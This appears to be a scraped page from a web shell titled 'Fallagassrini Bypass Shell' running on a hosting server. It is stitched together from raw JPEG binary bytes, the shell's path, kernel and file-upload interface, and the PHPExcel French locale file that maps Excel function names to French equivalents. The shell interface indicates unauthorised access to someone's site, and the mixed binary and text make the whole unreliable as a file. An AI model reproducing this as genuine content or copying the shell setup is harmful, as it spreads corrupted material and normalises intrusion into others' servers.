ÿŰÿàJFIFÿț;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 ÿÛC  !"$"$ÿÛCÿÀ$^"ÿÄ ÿÄ”}!1AQa"q2‘Ą#B±ÁRŃđ$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™šąŁ€„Чš©ȘČłŽ”¶·žčșÂĂÄĆÆÇÈÉÊÒÓÔŐÖŚŰÙÚáâăäćæçèéêńòóôőöśűùúÿÄ ÿÄ”w!1AQaq"2B‘Ą±Á #3RđbrŃ $4á%ń&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™šąŁ€„Чš©ȘČłŽ”¶·žčșÂĂÄĆÆÇÈÉÊÒÓÔŐÖŚŰÙÚâăäćæçèéêòóôőöśűùúÿÚ ?óÛÏ ĘCąęŽÜ^­ï‰"šÜ,k8`áÏ98Æ?ŸĂŸÔ.” s$Ö±Á$œČXwŠô_ŒZČÿÂżń2Äbęžł°łš97”8%žQŒ}s\őĆŽqXxzK1Č\@NȚ2€í<ÀÿJèÁàŐY{ĘlF/‘Z=N[ĆúÂxràBš}˜ûFàJÛš<yÇœwÿ 5żÒìoÛčœŁ^sńÂ(ź!łžŒ†òïfF*znÁ‡ș€“€5 `ZË}ńœŰҊ…’<ùTr‚mž5€W>"ž>Ir€{ƒ_+<ïĄ$$ÿ«ĄCé_UC)^šr2ö5óżdĆ:”(cŒ˜ûì⣕€U .f‹pêSȘnFÁŠżeȘ\‘™‚‘Ó°üë.ȚŐčÆ8«# ˜m=8­“i›ÚçO„^)RćÈ=ń^Éđ*_:öMüÆÎÀçżÊ3üĆxŸšĂ–8źkȚ>°Ó(”y“€D”NYœäàÒ”©/vÇ-]WÂZ’Ÿł}h[*’ȧĐțô'Âyćm&e·`Xg>•ò—Ăé%­ĂÌČyČăƒÎkè߆ș՞“„Kwwr‰Œd󞌎œ«ƒ•Î rŽÏ;ęąôM<›ĄÙ[AšêŃC€ozÊȘé+h%°œB’ÙÇäJcd‹Ž`ț*ǎôëŻűVz–„%Â6«}«G;Ł–mĄșíùĆc—ŐŠ~șbšč«_aÍaii©E4jPLă§ùĆUđ<öú€ÆŠ ŽvŒg?q~!ń”v–âÚc žŸDÚÜpA/ÈÁă­m|=Ö-nux–Ę^HÏȚ”±őț•ìȘ|ńmt<ÎYÇVz&“)â7FYYșžżZ«â/†úUÖ©w}-Ź@—upÎO%‰P? ±ŠHŻâMÐvžŒWašj0 †ŒČÊ0}k+[As[SÍcűy ‘ƒŻŃLż t9-0ęȘë]”ÈJô§‡ÂđiêhȘJۜÿ€ŽM:æ+ˆädè‰đé^đžÖĘuH€&^Ę á攉·KH€Ł?ĘńŻŁŸ ^]G§\›4ó›#rłíőÎ qRR“łGV!Żi~眩‹ąÜ]Ay6æO‰#g»žm­ëƒ&;úUŸÈòűV BHˆÎÜí ~Y8úš(Ż J4Ÿ»ù·ù¶{U–ç”ü|đæŸáÿ é1Ű4ć%œžv0?6#{ț•đŠötńЊŠĂ#+{Eő8vù?źìòêü?ŚcèÍ9R]^Q,hà#ÛùûÖÄiŠÒîá[Y€ÆÜüç'ŸŠ+x­Y䜑VÏRœ{ec1É•%Ÿ©|]ÔÎp=…VÔĄșĘÊș€Ó9ŠrOZčàśÚÄY æLš(„^*;öO'űƑYxűœŹQÂdŒčĘ”qœÈ~č5ì_uk«{yH$HčÏZ(Ż3 Ż)§ÜëÄü~GÿÙ Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/Classes/PHPExcel/locale/fr/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/Classes/PHPExcel/locale/fr/functions

##
## PHPExcel
##

## Copyright (c) 2006 - 2013 PHPExcel
##
## This library is free software; you can redistribute it and/or
## modify it under the terms of the GNU Lesser General Public
## License as published by the Free Software Foundation; either
## version 2.1 of the License, or (at your option) any later version.
##
## This library is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
## Lesser General Public License for more details.
##
## You should have received a copy of the GNU Lesser General Public
## License along with this library; if not, write to the Free Software
## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
##
## @category   PHPExcel
## @package    PHPExcel_Calculation
## @copyright  Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel)
## @license    http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt	LGPL
## @version    1.7.9, 2013-06-02
##
## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/
##
##


##
##	Add-in and Automation functions			Fonctions de complĂ©ment et d’automatisation
##
GETPIVOTDATA		= LIREDONNEESTABCROISDYNAMIQUE	##	Renvoie les données stockées dans un rapport de tableau croisé dynamique.


##
##	Cube functions					Fonctions Cube
##
CUBEKPIMEMBER		= MEMBREKPICUBE			##	Renvoie un nom, une propriĂ©tĂ© et une mesure d’indicateur de performance clĂ© et affiche le nom et la propriĂ©tĂ© dans la cellule. Un indicateur de performance clĂ© est une mesure quantifiable, telle que la marge bĂ©nĂ©ficiaire brute mensuelle ou la rotation trimestrielle du personnel, utilisĂ©e pour Ă©valuer les performances d’une entreprise.
CUBEMEMBER		= MEMBRECUBE			##	Renvoie un membre ou un uplet dans une hiĂ©rarchie de cubes. Utilisez cette fonction pour valider l’existence du membre ou de l’uplet dans le cube.
CUBEMEMBERPROPERTY	= PROPRIETEMEMBRECUBE		##	Renvoie la valeur d’une propriĂ©tĂ© de membre du cube. Utilisez cette fonction pour valider l’existence d’un nom de membre dans le cube et pour renvoyer la propriĂ©tĂ© spĂ©cifiĂ©e pour ce membre.
CUBERANKEDMEMBER	= RANGMEMBRECUBE		##	Renvoie le niĂšme membre ou le membre placĂ© Ă  un certain rang dans un ensemble. Utilisez cette fonction pour renvoyer un ou plusieurs Ă©lĂ©ments d’un ensemble, tels que les meilleurs vendeurs ou les 10 meilleurs Ă©tudiants.
CUBESET			= JEUCUBE			##	DĂ©finit un ensemble calculĂ© de membres ou d’uplets en envoyant une expression dĂ©finie au cube sur le serveur qui crĂ©e l’ensemble et le renvoie Ă  Microsoft Office Excel.
CUBESETCOUNT		= NBJEUCUBE			##	Renvoie le nombre d’élĂ©ments dans un jeu.
CUBEVALUE		= VALEURCUBE			##	Renvoie une valeur d’agrĂ©gation issue d’un cube.


##
##	Database functions				Fonctions de base de données
##
DAVERAGE		= BDMOYENNE			##	Renvoie la moyenne des entrées de base de données sélectionnées.
DCOUNT			= BCOMPTE			##	Compte le nombre de cellules d’une base de donnĂ©es qui contiennent des nombres.
DCOUNTA			= BDNBVAL			##	Compte les cellules non vides d’une base de donnĂ©es.
DGET			= BDLIRE			##	Extrait d’une base de donnĂ©es un enregistrement unique rĂ©pondant aux critĂšres spĂ©cifiĂ©s.
DMAX			= BDMAX				##	Renvoie la valeur maximale des entrées de base de données sélectionnées.
DMIN			= BDMIN				##	Renvoie la valeur minimale des entrées de base de données sélectionnées.
DPRODUCT		= BDPRODUIT			##	Multiplie les valeurs d’un champ particulier des enregistrements d’une base de donnĂ©es, qui rĂ©pondent aux critĂšres spĂ©cifiĂ©s.
DSTDEV			= BDECARTYPE			##	Calcule l’écart type pour un Ă©chantillon d’entrĂ©es de base de donnĂ©es sĂ©lectionnĂ©es.
DSTDEVP			= BDECARTYPEP			##	Calcule l’écart type pour l’ensemble d’une population d’entrĂ©es de base de donnĂ©es sĂ©lectionnĂ©es.
DSUM			= BDSOMME			##	Ajoute les nombres dans la colonne de champ des enregistrements de la base de données, qui répondent aux critÚres.
DVAR			= BDVAR				##	Calcule la variance pour un Ă©chantillon d’entrĂ©es de base de donnĂ©es sĂ©lectionnĂ©es.
DVARP			= BDVARP			##	Calcule la variance pour l’ensemble d’une population d’entrĂ©es de base de donnĂ©es sĂ©lectionnĂ©es.


##
##	Date and time functions				Fonctions de date et d’heure
##
DATE			= DATE				##	Renvoie le numĂ©ro de sĂ©rie d’une date prĂ©cise.
DATEVALUE		= DATEVAL			##	Convertit une date représentée sous forme de texte en numéro de série.
DAY			= JOUR				##	Convertit un numéro de série en jour du mois.
DAYS360			= JOURS360			##	Calcule le nombre de jours qui sĂ©parent deux dates sur la base d’une annĂ©e de 360 jours.
EDATE			= MOIS.DECALER			##	Renvoie le numĂ©ro sĂ©quentiel de la date qui reprĂ©sente une date spĂ©cifiĂ©e (l’argument date_dĂ©part), corrigĂ©e en plus ou en moins du nombre de mois indiquĂ©.
EOMONTH			= FIN.MOIS			##	Renvoie le numéro séquentiel de la date du dernier jour du mois précédant ou suivant la date_départ du nombre de mois indiqué.
HOUR			= HEURE				##	Convertit un numéro de série en heure.
MINUTE			= MINUTE			##	Convertit un numéro de série en minute.
MONTH			= MOIS				##	Convertit un numéro de série en mois.
NETWORKDAYS		= NB.JOURS.OUVRES		##	Renvoie le nombre de jours ouvrés entiers compris entre deux dates.
NOW			= MAINTENANT			##	Renvoie le numĂ©ro de sĂ©rie de la date et de l’heure du jour.
SECOND			= SECONDE			##	Convertit un numéro de série en seconde.
TIME			= TEMPS				##	Renvoie le numĂ©ro de sĂ©rie d’une heure prĂ©cise.
TIMEVALUE		= TEMPSVAL			##	Convertit une date représentée sous forme de texte en numéro de série.
TODAY			= AUJOURDHUI			##	Renvoie le numéro de série de la date du jour.
WEEKDAY			= JOURSEM			##	Convertit un numéro de série en jour de la semaine.
WEEKNUM			= NO.SEMAINE			##	Convertit un numĂ©ro de sĂ©rie en un numĂ©ro reprĂ©sentant l’ordre de la semaine dans l’annĂ©e.
WORKDAY			= SERIE.JOUR.OUVRE		##	Renvoie le numéro de série de la date avant ou aprÚs le nombre de jours ouvrés spécifiés.
YEAR			= ANNEE				##	Convertit un numéro de série en année.
YEARFRAC		= FRACTION.ANNEE		##	Renvoie la fraction de l’annĂ©e reprĂ©sentant le nombre de jours entre la date de dĂ©but et la date de fin.


##
##	Engineering functions				Fonctions d’ingĂ©nierie
##
BESSELI			= BESSELI			##	Renvoie la fonction Bessel modifiée In(x).
BESSELJ			= BESSELJ			##	Renvoie la fonction Bessel Jn(x).
BESSELK			= BESSELK			##	Renvoie la fonction Bessel modifiée Kn(x).
BESSELY			= BESSELY			##	Renvoie la fonction Bessel Yn(x).
BIN2DEC			= BINDEC			##	Convertit un nombre binaire en nombre décimal.
BIN2HEX			= BINHEX			##	Convertit un nombre binaire en nombre hexadécimal.
BIN2OCT			= BINOCT			##	Convertit un nombre binaire en nombre octal.
COMPLEX			= COMPLEXE			##	Convertit des coefficients réel et imaginaire en un nombre complexe.
CONVERT			= CONVERT			##	Convertit un nombre d’une unitĂ© de mesure Ă  une autre.
DEC2BIN			= DECBIN			##	Convertit un nombre décimal en nombre binaire.
DEC2HEX			= DECHEX			##	Convertit un nombre décimal en nombre hexadécimal.
DEC2OCT			= DECOCT			##	Convertit un nombre décimal en nombre octal.
DELTA			= DELTA				##	Teste l’égalitĂ© de deux nombres.
ERF			= ERF				##	Renvoie la valeur de la fonction d’erreur.
ERFC			= ERFC				##	Renvoie la valeur de la fonction d’erreur complĂ©mentaire.
GESTEP			= SUP.SEUIL			##	Teste si un nombre est supérieur à une valeur de seuil.
HEX2BIN			= HEXBIN			##	Convertit un nombre hexadécimal en nombre binaire.
HEX2DEC			= HEXDEC			##	Convertit un nombre hexadécimal en nombre décimal.
HEX2OCT			= HEXOCT			##	Convertit un nombre hexadécimal en nombre octal.
IMABS			= COMPLEXE.MODULE		##	Renvoie la valeur absolue (module) d’un nombre complexe.
IMAGINARY		= COMPLEXE.IMAGINAIRE		##	Renvoie le coefficient imaginaire d’un nombre complexe.
IMARGUMENT		= COMPLEXE.ARGUMENT		##	Renvoie l’argument thĂȘta, un angle exprimĂ© en radians.
IMCONJUGATE		= COMPLEXE.CONJUGUE		##	Renvoie le nombre complexe conjuguĂ© d’un nombre complexe.
IMCOS			= IMCOS				##	Renvoie le cosinus d’un nombre complexe.
IMDIV			= COMPLEXE.DIV			##	Renvoie le quotient de deux nombres complexes.
IMEXP			= COMPLEXE.EXP			##	Renvoie la fonction exponentielle d’un nombre complexe.
IMLN			= COMPLEXE.LN			##	Renvoie le logarithme nĂ©pĂ©rien d’un nombre complexe.
IMLOG10			= COMPLEXE.LOG10		##	Calcule le logarithme en base 10 d’un nombre complexe.
IMLOG2			= COMPLEXE.LOG2			##	Calcule le logarithme en base 2 d’un nombre complexe.
IMPOWER			= COMPLEXE.PUISSANCE		##	Renvoie un nombre complexe élevé à une puissance entiÚre.
IMPRODUCT		= COMPLEXE.PRODUIT		##	Renvoie le produit de plusieurs nombres complexes.
IMREAL			= COMPLEXE.REEL			##	Renvoie le coefficient rĂ©el d’un nombre complexe.
IMSIN			= COMPLEXE.SIN			##	Renvoie le sinus d’un nombre complexe.
IMSQRT			= COMPLEXE.RACINE		##	Renvoie la racine carrĂ©e d’un nombre complexe.
IMSUB			= COMPLEXE.DIFFERENCE		##	Renvoie la différence entre deux nombres complexes.
IMSUM			= COMPLEXE.SOMME		##	Renvoie la somme de plusieurs nombres complexes.
OCT2BIN			= OCTBIN			##	Convertit un nombre octal en nombre binaire.
OCT2DEC			= OCTDEC			##	Convertit un nombre octal en nombre décimal.
OCT2HEX			= OCTHEX			##	Convertit un nombre octal en nombre hexadécimal.


##
##	Financial functions				Fonctions financiĂšres
##
ACCRINT			= INTERET.ACC			##	Renvoie l’intĂ©rĂȘt couru non Ă©chu d’un titre dont l’intĂ©rĂȘt est perçu pĂ©riodiquement.
ACCRINTM		= INTERET.ACC.MAT		##	Renvoie l’intĂ©rĂȘt couru non Ă©chu d’un titre dont l’intĂ©rĂȘt est perçu Ă  l’échĂ©ance.
AMORDEGRC		= AMORDEGRC			##	Renvoie l’amortissement correspondant Ă  chaque pĂ©riode comptable en utilisant un coefficient d’amortissement.
AMORLINC		= AMORLINC			##	Renvoie l’amortissement d’un bien Ă  la fin d’une pĂ©riode fiscale donnĂ©e.
COUPDAYBS		= NB.JOURS.COUPON.PREC		##	Renvoie le nombre de jours entre le début de la période de coupon et la date de liquidation.
COUPDAYS		= NB.JOURS.COUPONS		##	Renvoie le nombre de jours pour la période du coupon contenant la date de liquidation.
COUPDAYSNC		= NB.JOURS.COUPON.SUIV		##	Renvoie le nombre de jours entre la date de liquidation et la date du coupon suivant la date de liquidation.
COUPNCD			= DATE.COUPON.SUIV		##	Renvoie la premiÚre date de coupon ultérieure à la date de rÚglement.
COUPNUM			= NB.COUPONS			##	Renvoie le nombre de coupons dus entre la date de rĂšglement et la date d’échĂ©ance.
COUPPCD			= DATE.COUPON.PREC		##	Renvoie la date de coupon précédant la date de rÚglement.
CUMIPMT			= CUMUL.INTER			##	Renvoie l’intĂ©rĂȘt cumulĂ© payĂ© sur un emprunt entre deux pĂ©riodes.
CUMPRINC		= CUMUL.PRINCPER		##	Renvoie le montant cumulĂ© des remboursements du capital d’un emprunt effectuĂ©s entre deux pĂ©riodes.
DB			= DB				##	Renvoie l’amortissement d’un bien pour une pĂ©riode spĂ©cifiĂ©e en utilisant la mĂ©thode de l’amortissement dĂ©gressif Ă  taux fixe.
DDB			= DDB				##	Renvoie l’amortissement d’un bien pour toute pĂ©riode spĂ©cifiĂ©e, en utilisant la mĂ©thode de l’amortissement dĂ©gressif Ă  taux double ou selon un coefficient Ă  spĂ©cifier.
DISC			= TAUX.ESCOMPTE			##	Calcule le taux d’escompte d’une transaction.
DOLLARDE		= PRIX.DEC			##	Convertit un prix en euros, exprimé sous forme de fraction, en un prix en euros exprimé sous forme de nombre décimal.
DOLLARFR		= PRIX.FRAC			##	Convertit un prix en euros, exprimé sous forme de nombre décimal, en un prix en euros exprimé sous forme de fraction.
DURATION		= DUREE				##	Renvoie la durĂ©e, en annĂ©es, d’un titre dont l’intĂ©rĂȘt est perçu pĂ©riodiquement.
EFFECT			= TAUX.EFFECTIF			##	Renvoie le taux d’intĂ©rĂȘt annuel effectif.
FV			= VC				##	Renvoie la valeur future d’un investissement.
FVSCHEDULE		= VC.PAIEMENTS			##	Calcule la valeur future d’un investissement en appliquant une sĂ©rie de taux d’intĂ©rĂȘt composites.
INTRATE			= TAUX.INTERET			##	Affiche le taux d’intĂ©rĂȘt d’un titre totalement investi.
IPMT			= INTPER			##	Calcule le montant des intĂ©rĂȘts d’un investissement pour une pĂ©riode donnĂ©e.
IRR			= TRI				##	Calcule le taux de rentabilitĂ© interne d’un investissement pour une succession de trĂ©soreries.
ISPMT			= ISPMT				##	Calcule le montant des intĂ©rĂȘts d’un investissement pour une pĂ©riode donnĂ©e.
MDURATION		= DUREE.MODIFIEE		##	Renvoie la durée de Macauley modifiée pour un titre ayant une valeur nominale hypothétique de 100_euros.
MIRR			= TRIM				##	Calcule le taux de rentabilité interne lorsque les paiements positifs et négatifs sont financés à des taux différents.
NOMINAL			= TAUX.NOMINAL			##	Calcule le taux d’intĂ©rĂȘt nominal annuel.
NPER			= NPM				##	Renvoie le nombre de versements nécessaires pour rembourser un emprunt.
NPV			= VAN				##	Calcule la valeur actuelle nette d’un investissement basĂ© sur une sĂ©rie de dĂ©caissements et un taux d’escompte.
ODDFPRICE		= PRIX.PCOUPON.IRREG		##	Renvoie le prix par tranche de valeur nominale de 100 euros d’un titre dont la premiĂšre pĂ©riode de coupon est irrĂ©guliĂšre.
ODDFYIELD		= REND.PCOUPON.IRREG		##	Renvoie le taux de rendement d’un titre dont la premiĂšre pĂ©riode de coupon est irrĂ©guliĂšre.
ODDLPRICE		= PRIX.DCOUPON.IRREG		##	Renvoie le prix par tranche de valeur nominale de 100 euros d’un titre dont la premiĂšre pĂ©riode de coupon est irrĂ©guliĂšre.
ODDLYIELD		= REND.DCOUPON.IRREG		##	Renvoie le taux de rendement d’un titre dont la derniĂšre pĂ©riode de coupon est irrĂ©guliĂšre.
PMT			= VPM				##	Calcule le paiement pĂ©riodique d’un investissement donnĂ©.
PPMT			= PRINCPER			##	Calcule, pour une pĂ©riode donnĂ©e, la part de remboursement du principal d’un investissement.
PRICE			= PRIX.TITRE			##	Renvoie le prix d’un titre rapportant des intĂ©rĂȘts pĂ©riodiques, pour une valeur nominale de 100 euros.
PRICEDISC		= VALEUR.ENCAISSEMENT		##	Renvoie la valeur d’encaissement d’un escompte commercial, pour une valeur nominale de 100 euros.
PRICEMAT		= PRIX.TITRE.ECHEANCE		##	Renvoie le prix d’un titre dont la valeur nominale est 100 euros et qui rapporte des intĂ©rĂȘts Ă  l’échĂ©ance.
PV			= PV				##	Calcule la valeur actuelle d’un investissement.
RATE			= TAUX				##	Calcule le taux d’intĂ©rĂȘt par pĂ©riode pour une annuitĂ©.
RECEIVED		= VALEUR.NOMINALE		##	Renvoie la valeur nominale Ă  Ă©chĂ©ance d’un effet de commerce.
SLN			= AMORLIN			##	Calcule l’amortissement linĂ©aire d’un bien pour une pĂ©riode donnĂ©e.
SYD			= SYD				##	Calcule l’amortissement d’un bien pour une pĂ©riode donnĂ©e sur la base de la mĂ©thode amĂ©ricaine Sum-of-Years Digits (amortissement dĂ©gressif Ă  taux dĂ©croissant appliquĂ© Ă  une valeur constante).
TBILLEQ			= TAUX.ESCOMPTE.R		##	Renvoie le taux d’escompte rationnel d’un bon du TrĂ©sor.
TBILLPRICE		= PRIX.BON.TRESOR		##	Renvoie le prix d’un bon du TrĂ©sor d’une valeur nominale de 100 euros.
TBILLYIELD		= RENDEMENT.BON.TRESOR		##	Calcule le taux de rendement d’un bon du TrĂ©sor.
VDB			= VDB				##	Renvoie l’amortissement d’un bien pour une pĂ©riode spĂ©cifiĂ©e ou partielle en utilisant une mĂ©thode de l’amortissement dĂ©gressif Ă  taux fixe.
XIRR			= TRI.PAIEMENTS			##	Calcule le taux de rentabilitĂ© interne d’un ensemble de paiements non pĂ©riodiques.
XNPV			= VAN.PAIEMENTS			##	Renvoie la valeur actuelle nette d’un ensemble de paiements non pĂ©riodiques.
YIELD			= RENDEMENT.TITRE		##	Calcule le rendement d’un titre rapportant des intĂ©rĂȘts pĂ©riodiquement.
YIELDDISC		= RENDEMENT.SIMPLE		##	Calcule le taux de rendement d’un emprunt Ă  intĂ©rĂȘt simple (par exemple, un bon du TrĂ©sor).
YIELDMAT		= RENDEMENT.TITRE.ECHEANCE	##	Renvoie le rendement annuel d’un titre qui rapporte des intĂ©rĂȘts Ă  l’échĂ©ance.


##
##	Information functions				Fonctions d’information
##
CELL			= CELLULE			##	Renvoie des informations sur la mise en forme, l’emplacement et le contenu d’une cellule.
ERROR.TYPE		= TYPE.ERREUR			##	Renvoie un nombre correspondant à un type d’erreur.
INFO			= INFORMATIONS			##	Renvoie des informations sur l’environnement d’exploitation actuel.
ISBLANK			= ESTVIDE			##	Renvoie VRAI si l’argument valeur est vide.
ISERR			= ESTERR			##	Renvoie VRAI si l’argument valeur fait rĂ©fĂ©rence Ă  une valeur d’erreur, sauf #N/A.
ISERROR			= ESTERREUR			##	Renvoie VRAI si l’argument valeur fait rĂ©fĂ©rence Ă  une valeur d’erreur.
ISEVEN			= EST.PAIR			##	Renvoie VRAI si le chiffre est pair.
ISLOGICAL		= ESTLOGIQUE			##	Renvoie VRAI si l’argument valeur fait rĂ©fĂ©rence Ă  une valeur logique.
ISNA			= ESTNA				##	Renvoie VRAI si l’argument valeur fait rĂ©fĂ©rence Ă  la valeur d’erreur #N/A.
ISNONTEXT		= ESTNONTEXTE			##	Renvoie VRAI si l’argument valeur ne se prĂ©sente pas sous forme de texte.
ISNUMBER		= ESTNUM			##	Renvoie VRAI si l’argument valeur reprĂ©sente un nombre.
ISODD			= EST.IMPAIR			##	Renvoie VRAI si le chiffre est impair.
ISREF			= ESTREF			##	Renvoie VRAI si l’argument valeur est une rĂ©fĂ©rence.
ISTEXT			= ESTTEXTE			##	Renvoie VRAI si l’argument valeur se prĂ©sente sous forme de texte.
N			= N				##	Renvoie une valeur convertie en nombre.
NA			= NA				##	Renvoie la valeur d’erreur #N/A.
TYPE			= TYPE				##	Renvoie un nombre indiquant le type de donnĂ©es d’une valeur.


##
##	Logical functions				Fonctions logiques
##
AND			= ET				##	Renvoie VRAI si tous ses arguments sont VRAI.
FALSE			= FAUX				##	Renvoie la valeur logique FAUX.
IF			= SI				##	Spécifie un test logique à effectuer.
IFERROR			= SIERREUR			##	Renvoie une valeur que vous spécifiez si une formule génÚre une erreur ; sinon, elle renvoie le résultat de la formule.
NOT			= NON				##	Inverse la logique de cet argument.
OR			= OU				##	Renvoie VRAI si un des arguments est VRAI.
TRUE			= VRAI				##	Renvoie la valeur logique VRAI.


##
##	Lookup and reference functions			Fonctions de recherche et de référence
##
ADDRESS			= ADRESSE			##	Renvoie une rĂ©fĂ©rence sous forme de texte Ă  une seule cellule d’une feuille de calcul.
AREAS			= ZONES				##	Renvoie le nombre de zones dans une référence.
CHOOSE			= CHOISIR			##	Choisit une valeur dans une liste.
COLUMN			= COLONNE			##	Renvoie le numĂ©ro de colonne d’une rĂ©fĂ©rence.
COLUMNS			= COLONNES			##	Renvoie le nombre de colonnes dans une référence.
HLOOKUP			= RECHERCHEH			##	Effectue une recherche dans la premiĂšre ligne d’une matrice et renvoie la valeur de la cellule indiquĂ©e.
HYPERLINK		= LIEN_HYPERTEXTE		##	Crée un raccourci ou un renvoi qui ouvre un document stocké sur un serveur réseau, sur un réseau Intranet ou sur Internet.
INDEX			= INDEX				##	Utilise un index pour choisir une valeur provenant d’une rĂ©fĂ©rence ou d’une matrice.
INDIRECT		= INDIRECT			##	Renvoie une référence indiquée par une valeur de texte.
LOOKUP			= RECHERCHE			##	Recherche des valeurs dans un vecteur ou une matrice.
MATCH			= EQUIV				##	Recherche des valeurs dans une référence ou une matrice.
OFFSET			= DECALER			##	Renvoie une référence décalée par rapport à une référence donnée.
ROW			= LIGNE				##	Renvoie le numĂ©ro de ligne d’une rĂ©fĂ©rence.
ROWS			= LIGNES			##	Renvoie le nombre de lignes dans une référence.
RTD			= RTD				##	Extrait les donnĂ©es en temps rĂ©el Ă  partir d’un programme prenant en charge l’automation COM (Automation : utilisation des objets d'une application Ă  partir d'une autre application ou d'un autre outil de dĂ©veloppement. Autrefois appelĂ©e OLE Automation, Automation est une norme industrielle et une fonctionnalitĂ© du modĂšle d'objet COM (Component Object Model).).
TRANSPOSE		= TRANSPOSE			##	Renvoie la transposition d’une matrice.
VLOOKUP			= RECHERCHEV			##	Effectue une recherche dans la premiĂšre colonne d’une matrice et se dĂ©place sur la ligne pour renvoyer la valeur d’une cellule.


##
##	Math and trigonometry functions			Fonctions mathématiques et trigonométriques
##
ABS			= ABS				##	Renvoie la valeur absolue d’un nombre.
ACOS			= ACOS				##	Renvoie l’arccosinus d’un nombre.
ACOSH			= ACOSH				##	Renvoie le cosinus hyperbolique inverse d’un nombre.
ASIN			= ASIN				##	Renvoie l’arcsinus d’un nombre.
ASINH			= ASINH				##	Renvoie le sinus hyperbolique inverse d’un nombre.
ATAN			= ATAN				##	Renvoie l’arctangente d’un nombre.
ATAN2			= ATAN2				##	Renvoie l’arctangente des coordonnĂ©es x et y.
ATANH			= ATANH				##	Renvoie la tangente hyperbolique inverse d’un nombre.
CEILING			= PLAFOND			##	Arrondit un nombre au nombre entier le plus proche ou au multiple le plus proche de l’argument prĂ©cision en s’éloignant de zĂ©ro.
COMBIN			= COMBIN			##	Renvoie le nombre de combinaisons que l’on peut former avec un nombre donnĂ© d’objets.
COS			= COS				##	Renvoie le cosinus d’un nombre.
COSH			= COSH				##	Renvoie le cosinus hyperbolique d’un nombre.
DEGREES			= DEGRES			##	Convertit des radians en degrés.
EVEN			= PAIR				##	Arrondit un nombre au nombre entier pair le plus proche en s’éloignant de zĂ©ro.
EXP			= EXP				##	Renvoie e Ă©levĂ© Ă  la puissance d’un nombre donnĂ©.
FACT			= FACT				##	Renvoie la factorielle d’un nombre.
FACTDOUBLE		= FACTDOUBLE			##	Renvoie la factorielle double d’un nombre.
FLOOR			= PLANCHER			##	Arrondit un nombre en tendant vers 0 (zéro).
GCD			= PGCD				##	Renvoie le plus grand commun diviseur.
INT			= ENT				##	Arrondit un nombre Ă  l’entier immĂ©diatement infĂ©rieur.
LCM			= PPCM				##	Renvoie le plus petit commun multiple.
LN			= LN				##	Renvoie le logarithme nĂ©pĂ©rien d’un nombre.
LOG			= LOG				##	Renvoie le logarithme d’un nombre dans la base spĂ©cifiĂ©e.
LOG10			= LOG10				##	Calcule le logarithme en base 10 d’un nombre.
MDETERM			= DETERMAT			##	Renvoie le dĂ©terminant d’une matrice.
MINVERSE		= INVERSEMAT			##	Renvoie la matrice inverse d’une matrice.
MMULT			= PRODUITMAT			##	Renvoie le produit de deux matrices.
MOD			= MOD				##	Renvoie le reste d’une division.
MROUND			= ARRONDI.AU.MULTIPLE		##	Donne l’arrondi d’un nombre au multiple spĂ©cifiĂ©.
MULTINOMIAL		= MULTINOMIALE			##	Calcule la multinomiale d’un ensemble de nombres.
ODD			= IMPAIR			##	Renvoie le nombre, arrondi Ă  la valeur du nombre entier impair le plus proche en s’éloignant de zĂ©ro.
PI			= PI				##	Renvoie la valeur de pi.
POWER			= PUISSANCE			##	Renvoie la valeur du nombre élevé à une puissance.
PRODUCT			= PRODUIT			##	Multiplie ses arguments.
QUOTIENT		= QUOTIENT			##	Renvoie la partie entiĂšre du rĂ©sultat d’une division.
RADIANS			= RADIANS			##	Convertit des degrés en radians.
RAND			= ALEA				##	Renvoie un nombre aléatoire compris entre 0 et 1.
RANDBETWEEN		= ALEA.ENTRE.BORNES		##	Renvoie un nombre aléatoire entre les nombres que vous spécifiez.
ROMAN			= ROMAIN			##	Convertit des chiffres arabes en chiffres romains, sous forme de texte.
ROUND			= ARRONDI			##	Arrondit un nombre au nombre de chiffres indiqué.
ROUNDDOWN		= ARRONDI.INF			##	Arrondit un nombre en tendant vers 0 (zéro).
ROUNDUP			= ARRONDI.SUP			##	Arrondit un nombre Ă  l’entier supĂ©rieur, en s’éloignant de zĂ©ro.
SERIESSUM		= SOMME.SERIES			##	Renvoie la somme d’une sĂ©rie gĂ©omĂ©trique en s’appuyant sur la formule suivante :
SIGN			= SIGNE				##	Renvoie le signe d’un nombre.
SIN			= SIN				##	Renvoie le sinus d’un angle donnĂ©.
SINH			= SINH				##	Renvoie le sinus hyperbolique d’un nombre.
SQRT			= RACINE			##	Renvoie la racine carrĂ©e d’un nombre.
SQRTPI			= RACINE.PI			##	Renvoie la racine carrée de (nombre * pi).
SUBTOTAL		= SOUS.TOTAL			##	Renvoie un sous-total dans une liste ou une base de données.
SUM			= SOMME				##	Calcule la somme de ses arguments.
SUMIF			= SOMME.SI			##	Additionne les cellules spécifiées si elles répondent à un critÚre donné.
SUMIFS			= SOMME.SI.ENS			##	Ajoute les cellules d’une plage qui rĂ©pondent Ă  plusieurs critĂšres.
SUMPRODUCT		= SOMMEPROD			##	Multiplie les valeurs correspondantes des matrices spécifiées et calcule la somme de ces produits.
SUMSQ			= SOMME.CARRES			##	Renvoie la somme des carrés des arguments.
SUMX2MY2		= SOMME.X2MY2			##	Renvoie la somme de la différence des carrés des valeurs correspondantes de deux matrices.
SUMX2PY2		= SOMME.X2PY2			##	Renvoie la somme de la somme des carrés des valeurs correspondantes de deux matrices.
SUMXMY2			= SOMME.XMY2			##	Renvoie la somme des carrés des différences entre les valeurs correspondantes de deux matrices.
TAN			= TAN				##	Renvoie la tangente d’un nombre.
TANH			= TANH				##	Renvoie la tangente hyperbolique d’un nombre.
TRUNC			= TRONQUE			##	Renvoie la partie entiùre d’un nombre.


##
